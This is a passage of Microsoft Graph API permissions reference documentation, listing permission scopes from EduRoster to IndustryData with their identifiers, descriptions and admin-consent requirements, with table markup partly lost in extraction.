    CategoryApplicationDelegated
    Identifier-5d186531-d1bf-4f07-8cea-7c42119e1bd9
    DisplayText-Read a limited subset of users' view of the roster
    Description-Allows the app to read a limited subset of the properties from the structure of schools and classes in an organization's roster and a limited subset of properties about users to be read on behalf of the user. Includes name, status, education role, email address and photo.
    AdminConsentRequired-Yes
    +
    +

    EduRoster.ReadBasic.All

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifier0d412a8c-a06c-439f-b3ec-8abcf54d2f96-
    DisplayTextRead a limited subset of the organization's roster-
    DescriptionAllows the app to read a limited subset of properties from both the structure of schools and classes in the organization's roster and education-specific information about all users. Includes name, status, role, email address and photo.-
    AdminConsentRequiredYes-
    +
    +

    EduRoster.ReadWrite

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifier-359e19a6-e3fa-4d7f-bcab-d28ec592b51e
    DisplayText-Read and write users' view of the roster
    Description-Allows the app to read and write the structure of schools and classes in an organization's roster and education-specific information about users to be read and written on behalf of the user.
    AdminConsentRequired-Yes
    +
    +

    EduRoster.ReadWrite.All

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifierd1808e82-ce13-47af-ae0d-f9b254e6d58a-
    DisplayTextRead and write the organization's roster-
    DescriptionAllows the app to read and write the structure of schools and classes in the organization's roster and education-specific information about all users to be read and written.-
    AdminConsentRequiredYes-
    +
    +

    email

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifier-64a6cdd6-aab1-4aaf-94b8-3cc8405e90d0
    DisplayText-View users' email address
    Description-Allows the app to read your users' primary email address
    AdminConsentRequired-No
    +

    EntitlementManagement.Read.All

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifierc74fd47d-ed3c-45c3-9a9e-b8676de685d25449aa12-1393-4ea2-a7c7-d0e06c1a56b2
    DisplayTextRead all entitlement management resourcesRead all entitlement management resources
    DescriptionAllows the app to read access packages and related entitlement management resources without a signed-in user.Allows the app to read access packages and related entitlement management resources on behalf of the signed-in user.
    AdminConsentRequiredYesYes
    +
    +

    EntitlementManagement.ReadWrite.All

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifier9acd699f-1e81-4958-b001-93b1d2506e19ae7a573d-81d7-432b-ad44-4ed5c9d89038
    DisplayTextRead and write all entitlement management resourcesRead and write entitlement management resources
    DescriptionAllows the app to read and write access packages and related entitlement management resources without a signed-in user.Allows the app to request access to and management of access packages and related entitlement management resources on behalf of the signed-in user.
    AdminConsentRequiredYesYes
    +
    +

    EntitlementMgmt-SubjectAccess.ReadWrite

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifier-e9fdcbbb-8807-410f-b9ec-8d5468c7c2ac
    DisplayText-Read and write entitlement management resources related to self-service operations
    Description-Allows the app to manage self-service entitlement management resources on behalf of the signed-in user. This includes operations such as requesting access and approving access of others.
    AdminConsentRequired-No
    +
    +

    EventListener.Read.All

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifierb7f6385c-6ce6-4639-a480-e23c42ed9784f7dd3bed-5eec-48da-bc73-1c0ef50bc9a1
    DisplayTextRead all authentication event listenersRead your organization's authentication event listeners
    DescriptionAllows the app to read your organization's authentication event listeners without a signed-in user.Allows the app to read your organization's authentication event listeners on behalf of the signed-in user.
    AdminConsentRequiredYesYes
    +
    +

    EventListener.ReadWrite.All

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifier0edf5e9e-4ce8-468a-8432-d08631d18c43d11625a6-fe21-4fc6-8d3d-063eba5525ad
    DisplayTextRead and write all authentication event listenersRead and write your organization's authentication event listeners
    DescriptionAllows the app to read or write your organization's authentication event listeners without a signed-in user.Allows the app to read or write your organization's authentication event listeners on behalf of the signed-in user.
    AdminConsentRequiredYesYes
    +
    +

    EWS.AccessAsUser.All

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifier-9769c687-087d-48ac-9cb3-c37dde652038
    DisplayText-Access mailboxes as the signed-in user via Exchange Web Services
    Description-Allows the app to have the same access to mailboxes as the signed-in user via Exchange Web Services.
    AdminConsentRequired-No
    +
    +

    ExternalConnection.Read.All

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifier1914711b-a1cb-4793-b019-c2ce0ed21b8ca38267a5-26b6-4d76-9493-935b7599116b
    DisplayTextRead all external connectionsRead all external connections
    DescriptionAllows the app to read all external connections without a signed-in user.Allows the app to read all external connections on behalf of a signed-in user. The signed-in user must be an administrator.
    AdminConsentRequiredYesYes
    +
    +

    ExternalConnection.ReadWrite.All

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifier34c37bc0-2b40-4d5e-85e1-2365cd256d79bbbbd9b3-3566-4931-ac37-2b2180d9e334
    DisplayTextRead and write all external connectionsRead and write all external connections
    DescriptionAllows the app to read and write all external connections without a signed-in user.Allows the app to read and write all external connections on behalf of a signed-in user. The signed-in user must be an administrator.
    AdminConsentRequiredYesYes
    +
    +

    ExternalConnection.ReadWrite.OwnedBy

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifierf431331c-49a6-499f-be1c-62af19c34a9d4082ad95-c812-4f02-be92-780c4c4f1830
    DisplayTextRead and write external connectionsRead and write external connections
    DescriptionAllows the app to read and write external connections without a signed-in user. The app can only read and write external connections that it is authorized to, or it can create new external connections.Allows the app to read and write settings of external connections on behalf of a signed-in user. The signed-in user must be an administrator. The app can only read and write settings of connections that it is authorized to.
    AdminConsentRequiredYesYes
    +
    +

    ExternalItem.Read.All

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifier7a7cffad-37d2-4f48-afa4-c6ab129adcc2922f9392-b1b7-483c-a4be-0089be7704fb
    DisplayTextRead all external itemsRead items in external datasets
    DescriptionAllows the app to read all external items without a signed-in user.Allow the app to read external datasets and content, on behalf of the signed-in user.
    AdminConsentRequiredYesYes
    +
    +

    ExternalItem.ReadWrite.All

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifier38c3d6ee-69ee-422f-b954-e17819665354b02c54f8-eb48-4c50-a9f0-a149e5a2012f
    DisplayTextRead and write items in external datasetsRead and write all external items
    DescriptionAllow the app to read or write items in all external datasets that the app is authorized to accessAllows the app to read and write all external items on behalf of a signed-in user. The signed-in user must be an administrator.
    AdminConsentRequiredYesYes
    +
    +

    ExternalItem.ReadWrite.OwnedBy

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifier8116ae0f-55c2-452d-9944-d18420f5b2c84367b9d7-cee7-4995-853c-a0bdfe95c1f9
    DisplayTextRead and write external itemsRead and write external items
    DescriptionAllows the app to read and write external items without a signed-in user. The app can only read external items of the connection that it is authorized to.Allows the app to read and write external items on behalf of a signed-in user. The signed-in user must be an administrator. The app can only read external items of the connection that it is authorized to.
    AdminConsentRequiredYesYes
    +
    +

    ExternalUserProfile.Read.All

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifier1987d7a0-d602-4262-ab90-cfdd43b3754547167bec-55a7-4caf-9ecc-8d4566e3cfb1
    DisplayTextRead all external user profilesRead external user profiles
    DescriptionAllows the app to read available properties of external user profiles, without a signed-in user.Allows the app to read available properties of external user profiles, on behalf of the signed-in user.
    AdminConsentRequiredYesYes
    +
    +

    ExternalUserProfile.ReadWrite.All

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifier761327c9-d819-4c08-9a5f-874cd2826608c6068dc7-a791-46a4-a811-b8228e6649ab
    DisplayTextRead and write all external user profilesRead and write external user profiles
    DescriptionAllows the app to read and write available properties of external user profiles, without a signed-in user.Allows the app to read and write available properties of external user profiles, on behalf of the signed-in user.
    AdminConsentRequiredYesYes
    +
    +

    Family.Read

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifier-3a1e4806-a744-4c70-80fc-223bf8582c46
    DisplayText-Read your family info
    Description-Allows the app to read your family information, members and their basic profile.
    AdminConsentRequired-No
    +
    +

    Files.Read

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifier-10465720-29dd-4523-a11a-6a75c743c9d9
    DisplayText-Read user files
    Description-Allows the app to read the signed-in user's files.
    AdminConsentRequired-No
    +

    personal Microsoft accounts The Files.Read delegated permission is available for consent in personal Microsoft accounts.

    + +

    For personal accounts, Files.Read also grant access to files shared with the signed-in user.

    +
    +

    Files.Read.All

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifier01d4889c-1287-42c6-ac1f-5d1e02578ef6df85f4d6-205c-4ac5-a5ea-6bf408dba283
    DisplayTextRead files in all site collectionsRead all files that user can access
    DescriptionAllows the app to read all files in all site collections without a signed in user.Allows the app to read all files the signed-in user can access.
    AdminConsentRequiredYesNo
    +

    personal Microsoft accounts The Files.Read.All delegated permission is available for consent in personal Microsoft accounts.

    +
    +

    Files.Read.Selected

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifier-5447fe39-cb82-4c1a-b977-520e67e724eb
    DisplayText-Read files that the user selects (preview)
    Description-(Preview) Allows the app to read files that the user selects. The app has access for several hours after the user selects a file.
    AdminConsentRequired-No
    + +

    The Files.Read.Selected delegated permission is only valid on work or school accounts and is only exposed for working with Office 365 file handlers (v1.0). It should not be used for directly calling Microsoft Graph APIs.

    +
    +

    Files.ReadWrite

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifier-5c28f0bf-8a70-41f1-8ab2-9032436ddb65
    DisplayText-Have full access to user files
    Description-Allows the app to read, create, update and delete the signed-in user's files.
    AdminConsentRequired-No
    +

    personal Microsoft accounts The Files.ReadWrite delegated permission is available for consent in personal Microsoft accounts.

    + +

    For personal accounts, Files.ReadWrite also grant access to files shared with the signed-in user.

    +
    +

    Files.ReadWrite.All

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifier75359482-378d-4052-8f01-80520e7db3cd863451e7-0667-486c-a5d6-d135439485f0
    DisplayTextRead and write files in all site collectionsHave full access to all files user can access
    DescriptionAllows the app to read, create, update and delete all files in all site collections without a signed in user.Allows the app to read, create, update and delete all files the signed-in user can access.
    AdminConsentRequiredYesNo
    +

    personal Microsoft accounts The Files.ReadWrite.All delegated permission is available for consent in personal Microsoft accounts.

    +
    +

    Files.ReadWrite.AppFolder

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifierb47b160b-1054-4efd-9ca0-e2f6146960868019c312-3263-48e6-825e-2b833497195b
    DisplayTextHave full access to the application's folder without a signed in user.Have full access to the application's folder (preview)
    DescriptionAllows the app to read, create, update and delete files in the application's folder without a signed in user.(Preview) Allows the app to read, create, update and delete files in the application's folder.
    AdminConsentRequiredYesNo
    +

    personal Microsoft accounts The Files.ReadWrite.AppFolder delegated permission is available for consent in personal Microsoft accounts.

    +
    +

    Files.ReadWrite.Selected

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifier-17dde5bd-8c17-420f-a486-969730c1b827
    DisplayText-Read and write files that the user selects (preview)
    Description-(Preview) Allows the app to read and write files that the user selects. The app has access for several hours after the user selects a file.
    AdminConsentRequired-No
    + +

    The Files.ReadWrite.Selected delegated permission is only valid on work or school accounts and is only exposed for working with Office 365 file handlers (v1.0). It should not be used for directly calling Microsoft Graph APIs.

    +
    +

    Files.SelectedOperations.Selected

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifierbd61925e-3bf4-4d62-bc0b-06b06c96d95cef2779dc-ef1b-4211-8310-8a0ac2450081
    DisplayTextAccess selected Files without a signed in user.Access selected Files, on behalf of the signed-in user
    DescriptionAllow the application to access a subset of files without a signed in user. The specific files and the permissions granted will be configured in SharePoint Online or OneDrive.Allow the application to access files explicitly permissioned to the application on behalf of the signed in user. The specific files and the permissions granted will be configured in SharePoint Online or OneDrive.
    AdminConsentRequiredYesYes
    +
    +

    FileStorageContainer.Selected

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifier40dc41bc-0f7e-42ff-89bd-d9516947e474085ca537-6565-41c2-aca7-db852babc212
    DisplayTextAccess selected file storage containersAccess selected file storage containers
    DescriptionAllows the application to utilize the file storage container platform to manage containers, without a signed-in user. The specific file storage containers and the permissions granted to them will be configured in Microsoft 365 by the developer of each container type.Allows the application to utilize the file storage container platform to manage containers on behalf of the signed in user. The specific file storage containers and the permissions granted to them will be configured in Microsoft 365 by the developer of each container type.
    AdminConsentRequiredYesYes
    +
    +

    Financials.ReadWrite.All

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifier-f534bf13-55d4-45a9-8f3c-c92fe64d6131
    DisplayText-Read and write financials data
    Description-Allows the app to read and write financials data on behalf of the signed-in user.
    AdminConsentRequired-No
    +
    +

    Goals-Export.Read.All

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifier-092211d9-ca1a-427b-813e-b79c7653fe71
    DisplayText-Read all goals and export jobs that a user can access
    Description-Allows the app to read all goals and export jobs that the signed-in user can access.
    AdminConsentRequired-Yes
    +
    +

    Goals-Export.ReadWrite.All

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifier-2edeb9fd-4228-480c-a26d-2ed52011cf3d
    DisplayText-Have full access to all goals and export jobs a user can access
    Description-Allows the app to read goals, create and read export jobs that the signed-in user can access.
    AdminConsentRequired-Yes
    +
    +

    Group.Create

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifierbf7b1a76-6e77-406b-b258-bf5c7720e98f-
    DisplayTextCreate groups-
    DescriptionAllows the app to create groups without a signed-in user.-
    AdminConsentRequiredYes-
    +
    +

    Group.Read.All

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifier5b567255-7703-4780-807c-7be8301ae99b5f8c59db-677d-491f-a6b8-5f174b11ec1d
    DisplayTextRead all groupsRead all groups
    DescriptionAllows the app to read group properties and memberships, and read conversations for all groups, without a signed-in user.Allows the app to list groups, and to read their properties and all group memberships on behalf of the signed-in user. Also allows the app to read calendar, conversations, files, and other group content for all groups the signed-in user can access.
    AdminConsentRequiredYesYes
    + +

    For Microsoft 365 groups, Group.* permissions grant the app access to the contents of the group; for example, conversations, files, notes, and so on.

    +

    In some cases, an app might need extra permissions to read some group properties like member and memberOf. For example, if a group has one or more service principals as members, the app also needs permissions to read service principals, otherwise Microsoft Graph returns an error or limited information. To read the full information, the app also needs permissions in the organization to read service principals. For more information, see Limited information returned for inaccessible member objects.

    +

    Group.* permissions are used to control access to Microsoft Teams resources and APIs. Personal Microsoft accounts are not supported.

    +

    Group.* permissions are also used to control access to Microsoft Planner resources and APIs. Only delegated permissions are supported for Microsoft Planner APIs; application permissions are not supported. Personal Microsoft accounts are not supported.

    +
    +

    Group.ReadWrite.All

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifier62a82d76-70ea-41e2-9197-370581804d094e46008b-f24c-477d-8fff-7bb4ec7aafe0
    DisplayTextRead and write all groupsRead and write all groups
    DescriptionAllows the app to create groups, read all group properties and memberships, update group properties and memberships, and delete groups. Also allows the app to read and write conversations. All of these operations can be performed by the app without a signed-in user.Allows the app to create groups and read all group properties and memberships on behalf of the signed-in user. Additionally allows group owners to manage their groups and allows group members to update group content.
    AdminConsentRequiredYesYes
    + +

    For Microsoft 365 groups, Group.* permissions grant the app access to the contents of the group; for example, conversations, files, notes, and so on.

    +

    In some cases, an app may need extra properties to update some group properties and relationships like member and memberOf. For example, to add a servicePrincipal object as a member, the app also needs permissions to write the service principal, otherwise Microsoft Graph returns an error. For more information, see Limited information returned for inaccessible member objects.

    +

    Group.* permissions are used to control access to Microsoft Teams resources and APIs. Personal Microsoft accounts are not supported.

    +

    Group.* permissions are also used to control access to Microsoft Planner resources and APIs. Only delegated permissions are supported for Microsoft Planner APIs; application permissions are not supported. Personal Microsoft accounts are not supported.

    +
    +

    GroupMember.Read.All

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifier98830695-27a2-44f7-8c18-0c3ebc9698f6bc024368-1153-4739-b217-4326f2e966d0
    DisplayTextRead all group membershipsRead group memberships
    DescriptionAllows the app to read memberships and basic group properties for all groups without a signed-in user.Allows the app to list groups, read basic group properties and read membership of all groups the signed-in user has access to.
    AdminConsentRequiredYesYes
    +
    +

    GroupMember.ReadWrite.All

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifierdbaae8cf-10b5-4b86-a4a1-f871c94c6695f81125ac-d3b7-4573-a3b2-7099cc39df9e
    DisplayTextRead and write all group membershipsRead and write group memberships
    DescriptionAllows the app to list groups, read basic properties, read and update the membership of the groups this app has access to without a signed-in user. Group properties and owners cannot be updated and groups cannot be deleted.Allows the app to list groups, read basic properties, read and update the membership of the groups the signed-in user has access to. Group properties and owners cannot be updated and groups cannot be deleted.
    AdminConsentRequiredYesYes
    +
    +

    HealthMonitoringAlert.Read.All

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifier5183ed5d-b7f8-4e9a-915e-dafb46b9cb6274b4ff32-4917-4536-a66d-38a4861e6220
    DisplayTextRead all scenario health monitoring alertRead all scenario health monitoring alerts
    DescriptionAllows the app to read all scenario health monitoring alerts, without a signed-in user.Allows the app to read all scenario health monitoring alerts
    AdminConsentRequiredYesYes
    +
    +

    HealthMonitoringAlert.ReadWrite.All

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifierac29eb50-f2f9-4518-a117-4bef18e84c7db7c60f27-2195-4d5f-96a7-6b98bdfd9664
    DisplayTextRead and write all scenario monitoring alertsRead and write all scenario monitoring alerts
    DescriptionAllows the app to read and write all scenario monitoring alerts, without a signed-in user.Allows the app to read and write all scenario monitoring alerts, on behalf of the signed-in user.
    AdminConsentRequiredYesYes
    +
    +

    HealthMonitoringAlertConfig.Read.All

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifierbb424d73-e898-4c97-9d42-688c32810003fb873030-8626-47e6-96ff-8a5bff3b725f
    DisplayTextRead all scenario health monitoring alert configurationsRead all scenario health monitoring alert configurations
    DescriptionAllows the app to read all scenario health monitoring alert configurations, without a signed-in user.Allows the app to read all scenario health monitoring alert configurations
    AdminConsentRequiredYesYes
    +
    +

    HealthMonitoringAlertConfig.ReadWrite.All

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifier432e76f0-8af6-4315-a853-66ab9538f480b3e5ebc6-1c23-4337-8286-3f27165addb4
    DisplayTextRead and write all scenario monitoring alertsRead and write all scenario monitoring alert configurations.
    DescriptionAllows the app to read and write all scenario monitoring alerts, without a signed-in user.Allows the app to read and write all scenario monitoring alert configurations, on behalf of the signed-in user.
    AdminConsentRequiredYesYes
    +
    +

    IdentityProvider.Read.All

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifiere321f0bb-e7f7-481e-bb28-e3b0b32d4bd043781733-b5a7-4d1b-98f4-e8edff23e1a9
    DisplayTextRead identity providersRead identity providers
    DescriptionAllows the app to read your organization's identity (authentication) providers' properties without a signed in user.Allows the app to read your organization's identity (authentication) providers' properties on behalf of the user.
    AdminConsentRequiredYesYes
    +
    +

    IdentityProvider.ReadWrite.All

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifier90db2b9a-d928-4d33-a4dd-8442ae3d41e4f13ce604-1677-429f-90bd-8a10b9f01325
    DisplayTextRead and write identity providersRead and write identity providers
    DescriptionAllows the app to read and write your organization's identity (authentication) providers' properties without a signed in user.Allows the app to read and write your organization's identity (authentication) providers' properties on behalf of the user.
    AdminConsentRequiredYesYes
    +
    +

    IdentityRiskEvent.Read.All

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifier6e472fd1-ad78-48da-a0f0-97ab2c6b769e8f6a01e7-0391-4ee5-aa22-a3af122cef27
    DisplayTextRead all identity risk event informationRead identity risk event information
    DescriptionAllows the app to read the identity risk event information for your organization without a signed in user.Allows the app to read identity risk event information for all users in your organization on behalf of the signed-in user.
    AdminConsentRequiredYesYes
    +
    +

    IdentityRiskEvent.ReadWrite.All

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifierdb06fb33-1953-4b7b-a2ac-f1e2c854f7ae9e4862a5-b68f-479e-848a-4e07e25c9916
    DisplayTextRead and write all risk detection informationRead and write risk event information
    DescriptionAllows the app to read and update identity risk detection information for your organization without a signed-in user. Update operations include confirming risk event detections. Allows the app to read and update identity risk event information for all users in your organization on behalf of the signed-in user. Update operations include confirming risk event detections. 
    AdminConsentRequiredYesYes
    +
    +

    IdentityRiskyServicePrincipal.Read.All

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifier607c7344-0eed-41e5-823a-9695ebe1b7b0ea5c4ab0-5a73-4f35-8272-5d5337884e5d
    DisplayTextRead all identity risky service principal informationRead all identity risky service principal information
    DescriptionAllows the app to read all risky service principal information for your organization, without a signed-in user.Allows the app to read all identity risky service principal information for your organization, on behalf of the signed-in user.
    AdminConsentRequiredYesYes
    +
    +

    IdentityRiskyServicePrincipal.ReadWrite.All

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifiercb8d6980-6bcb-4507-afec-ed6de3a2d798bb6f654c-d7fd-4ae3-85c3-fc380934f515
    DisplayTextRead and write all identity risky service principal informationRead and write all identity risky service principal information
    DescriptionAllows the app to read and update identity risky service principal for your organization, without a signed-in user.Allows the app to read and update identity risky service principal information for all service principals in your organization, on behalf of the signed-in user. Update operations include dismissing risky service principals.
    AdminConsentRequiredYesYes
    +
    +

    IdentityRiskyUser.Read.All

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifierdc5007c0-2d7d-4c42-879c-2dab87571379d04bb851-cb7c-4146-97c7-ca3e71baf56c
    DisplayTextRead all identity risky user informationRead identity risky user information
    DescriptionAllows the app to read the identity risky user information for your organization without a signed in user.Allows the app to read identity risky user information for all users in your organization on behalf of the signed-in user.
    AdminConsentRequiredYesYes
    +
    +

    IdentityRiskyUser.ReadWrite.All

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifier656f6061-f9fe-4807-9708-6a2e0934df76e0a7cdbb-08b0-4697-8264-0069786e9674
    DisplayTextRead and write all risky user informationRead and write risky user information
    DescriptionAllows the app to read and update identity risky user information for your organization without a signed-in user.  Update operations include dismissing risky users.Allows the app to read and update identity risky user information for all users in your organization on behalf of the signed-in user. Update operations include dismissing risky users.
    AdminConsentRequiredYesYes
    +
    +

    IdentityUserFlow.Read.All

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifier1b0c317f-dd31-4305-9932-259a8b6e80992903d63d-4611-4d43-99ce-a33f3f52e343
    DisplayTextRead all identity user flowsRead all identity user flows
    DescriptionAllows the app to read your organization's user flows, without a signed-in user.Allows the app to read your organization's user flows, on behalf of the signed-in user.
    AdminConsentRequiredYesYes
    +
    +

    IdentityUserFlow.ReadWrite.All

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifier65319a09-a2be-469d-8782-f6b07debf789281892cc-4dbf-4e3a-b6cc-b21029bb4e82
    DisplayTextRead and write all identity user flowsRead and write all identity user flows
    DescriptionAllows the app to read or write your organization's user flows, without a signed-in user.Allows the app to read or write your organization's user flows, on behalf of the signed-in user.
    AdminConsentRequiredYesYes
    +
    +

    IMAP.AccessAsUser.All

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifier-652390e4-393a-48de-9484-05f9b1212954
    DisplayText-Read and write access to mailboxes via IMAP.
    Description-Allows the app to have the same access to mailboxes as the signed-in user via IMAP protocol.
    AdminConsentRequired-No
    +

    personal Microsoft accounts The IMAP.AccessAsUser.All delegated permission is available for consent in personal Microsoft accounts.

    +
    +

    IndustryData.ReadBasic.All

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifier4f5ac95f-62fd-472c-b60f-125d24ca0bc560382b96-1f5e-46ea-a544-0407e489e588
    DisplayTextView basic service and resource informationRead basic Industry Data service and resource definitions
    DescriptionAllows the app to read basic service and resource information without a signed-in user.Allows the app to read basic Industry Data service and resource information on behalf of the signed-in user.
    AdminConsentRequiredYesNo
    +
    +

    IndustryData-DataConnector.Read.All

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifier7ab52c2f-a2ee-4d98-9ebc-725e3934aae2d19c0de5-7ecb-4aba-b090-da35ebcd5425
    DisplayTextView data connector definitionsView data connector definitions
    DescriptionAllows the app to read data connectors without a signed-in user.Allows the app to read data connectors on behalf of the signed-in user.
    AdminConsentRequiredYesYes
    +
    +

    IndustryData-DataConnector.ReadWrite.All

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifiereda0971c-482e-4345-b28f-69c309cb8a345ce933ac-3997-4280-aed0-cc072e5c062a
    DisplayTextManage data connector definitionsManage data connector definitions
    DescriptionAllows the app to read and write data connectors without a signed-in user.Allows the app to read and write data connectors on behalf of the signed-in user.
    AdminConsentRequiredYesYes
    +
    +

    IndustryData-DataConnector.Upload

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifier9334c44b-a7c6-4350-8036-6bf8e02b4c1ffc47391d-ab2c-410f-9059-5600f7af660d
    DisplayTextUpload files to a data connectorUpload files to a data connector
    DescriptionAllows the app to upload data files to a data connector without a signed-in user.Allows the app to upload data files to a data connector on behalf of the signed-in user.
    AdminConsentRequiredYesYes
    +
    +

    IndustryData-InboundFlow.Read.All

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifier305f6ba2-049a-4b1b-88bb-fe7e08758a00cb0774da-a605-42af-959c-32f438fb38f4
    DisplayTextView inbound flow definitionsView inbound flow definitions
    DescriptionAllows the app to read inbound data flows without a signed-in user.Allows the app to read inbound data flows on behalf of the signed-in user.
    AdminConsentRequiredYesYes
    +
    +

    IndustryData-InboundFlow.ReadWrite.All

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifiere688c61f-d4c6-4d64-a197-3bcf6ba1d6ad97044676-2cec-40ee-bd70-38df444c9e70
    DisplayTextManage inbound flow definitionsManage inbound flow definitions
    DescriptionAllows the app to read and write inbound data flows without a signed-in user.Allows the app to read and write inbound data flows on behalf of the signed-in user.
    AdminConsentRequiredYesYes
    +
    +

    IndustryData-OutboundFlow.Read.All

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifier61d0354c-5d88-483c-b974-a37ec3395a2c4741a003-8952-4be4-9217-33a0ac327122
    DisplayTextView outbound flow definitionsView outbound flow definitions
    DescriptionAllows the app to read outbound data flows without a signed-in user.Allows the app to read outbound data flows on behalf of the signed-in user.
    AdminConsentRequiredYesYes
    +
    +

    IndustryData-OutboundFlow.ReadWrite.All

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifier24a65b4a-e501-47e2-8849-d679517887f0aeb68e0b-e562-4a1f-b6dd-3484ad0cbb4b
    DisplayTextManage outbound flow definitionsManage outbound flow definitions
    DescriptionAllows the app to read and write outbound data flows without a signed-in user.Allows the app to read and write outbound data flows on behalf of the signed-in user.
    AdminConsentRequiredYesYes
    +
    +

    IndustryData-ReferenceDefinition.Read.All

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifier6ee891c3-74a4-4148-8463-0c834375dfafa3f96ffe-cb84-40a8-ac85-582d7ef97c2a
    DisplayTextView reference definitionsView reference definitions
    DescriptionAllows the app to read reference definitions without a signed-in user.Allows the app to read reference definitions on behalf of the signed-in user.
    AdminConsentRequiredYesYes
    +
    +

    IndustryData-ReferenceDefinition.ReadWrite.All

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifierbda16293-63d3-45b7-b16b-833841d27d56a757d430-be6d-430f-af57-28aabe79d247
    DisplayTextManage reference definitionsManage reference definitions
    DescriptionAllows the app to read and write reference definitions without a signed-in user.Allows the app to read and write reference definitions on behalf of the signed-in user.
